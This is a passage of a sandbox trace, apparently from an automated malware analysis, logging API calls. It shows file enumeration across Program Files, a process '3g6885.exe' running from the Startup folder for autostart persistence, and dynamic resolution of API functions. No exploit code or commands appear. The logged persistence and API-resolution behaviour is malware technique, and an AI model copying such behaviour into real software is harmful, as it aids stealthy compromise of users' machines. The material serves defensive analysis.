lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SubsetList", cAlternateFileName="SUBSET~1")) returned 1 [0157.375] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191580 [0157.375] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.375] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5879c0ca, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5879c0ca, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77f7dd5c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xd76, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 1 [0157.375] FindClose (in: hFindFile=0x4191580 | out: hFindFile=0x4191580) returned 1 [0157.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a704a0 | out: hHeap=0x300000) returned 1 [0157.375] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb65937a4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb65937a4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65937a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1 [0157.376] FindClose (in: hFindFile=0x4191780 | out: hFindFile=0x4191780) returned 1 [0157.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a60498 | out: hHeap=0x300000) returned 1 [0157.377] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0157.377] FindClose (in: hFindFile=0x4191180 | out: hFindFile=0x4191180) returned 1 [0157.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0157.377] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0 [0157.377] FindClose (in: hFindFile=0x4191080 | out: hFindFile=0x4191080) returned 1 [0157.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4192068 | out: hHeap=0x300000) returned 1 [0157.377] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0157.377] FindClose (in: hFindFile=0x41915c0 | out: hFindFile=0x41915c0) returned 1 [0157.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x425cf20 | out: hHeap=0x300000) returned 1 [0157.377] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377fa84 | out: lpFindFileData=0x377fa84*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xc0d77470, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xc0d77470, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0157.377] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Uninstall Information\\*", lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xc0d77470, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xc0d77470, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41915c0 [0157.378] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xc0d77470, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xc0d77470, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.378] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdb0c4d0, ftCreationTime.dwHighDateTime=0x1d542b5, ftLastAccessTime.dwLowDateTime=0xd74bd250, ftLastAccessTime.dwHighDateTime=0x1d505ce, ftLastWriteTime.dwLowDateTime=0xd74bd250, ftLastWriteTime.dwHighDateTime=0x1d505ce, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="lsnavy.exe", cAlternateFileName="")) returned 1 [0157.379] FindClose (in: hFindFile=0x41915c0 | out: hFindFile=0x41915c0) returned 1 [0157.379] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x425cf20 | out: hHeap=0x300000) returned 1 [0157.379] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377fa84 | out: lpFindFileData=0x377fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0157.379] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\*", lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191780 [0157.614] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.614] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22bdbd7c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0158.031] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41916c0 [0158.031] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.031] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.css", cAlternateFileName="")) returned 1 [0158.032] FindClose (in: hFindFile=0x41916c0 | out: hFindFile=0x41916c0) returned 1 [0158.032] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0158.032] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0158.032] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41916c0 [0158.032] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.032] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x467a, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.js", cAlternateFileName="")) returned 1 [0158.032] FindClose (in: hFindFile=0x41916c0 | out: hFindFile=0x41916c0) returned 1 [0158.032] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0158.032] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2814, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0158.033] FindClose (in: hFindFile=0x4191140 | out: hFindFile=0x4191140) returned 1 [0158.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41b32a8 | out: hHeap=0x300000) returned 1 [0158.033] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44cd7dc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb44cd7dc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb44cd7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2e0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0158.033] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\*", lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x818f91fe, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x818f91fe, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191140 [0158.493] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x818f91fe, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x818f91fe, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.493] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44cd7dc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb44cd7dc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb44cd7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6530, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer.png", cAlternateFileName="")) returned 1 [0158.638] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41916c0 [0158.686] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.686] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout.css", cAlternateFileName="")) returned 1 [0158.686] FindClose (in: hFindFile=0x41916c0 | out: hFindFile=0x41916c0) returned 1 [0158.686] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4160048 | out: hHeap=0x300000) returned 1 [0158.686] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x86a, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout.html", cAlternateFileName="")) returned 1 [0158.687] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41916c0 [0158.687] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ad0a6d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.687] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1aee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.js", cAlternateFileName="")) returned 1 [0158.687] FindClose (in: hFindFile=0x41916c0 | out: hFindFile=0x41916c0) returned 1 [0158.687] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4160048 | out: hHeap=0x300000) returned 1 [0158.687] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x271c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.html", cAlternateFileName="")) returned 1 [0158.687] FindClose (in: hFindFile=0x4191140 | out: hFindFile=0x4191140) returned 1 [0158.687] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41b32a8 | out: hHeap=0x300000) returned 1 [0158.687] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc467a55c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xc467a55c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xc467a55c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1d07, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0158.688] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\*", lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8199177f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8199177f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191140 [0158.688] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8199177f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8199177f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.688] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc467a55c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xc467a55c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xc48435dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1369, dwReserved0=0x0, dwReserved1=0x0, cFileName="16-on-black.gif", cAlternateFileName="")) returned 1 Thread: id = 64 os_tid = 0x704 Thread: id = 65 os_tid = 0x71c Thread: id = 66 os_tid = 0x730 Process: id = "8" image_name = "3g6885.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\3g6885.exe" page_root = "0x79dac000" os_pid = "0x570" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9a0" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 43 os_tid = 0x574 [0127.420] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76e10000 [0127.425] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0127.426] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0127.426] GetProcAddress (hModule=0x76e10000, 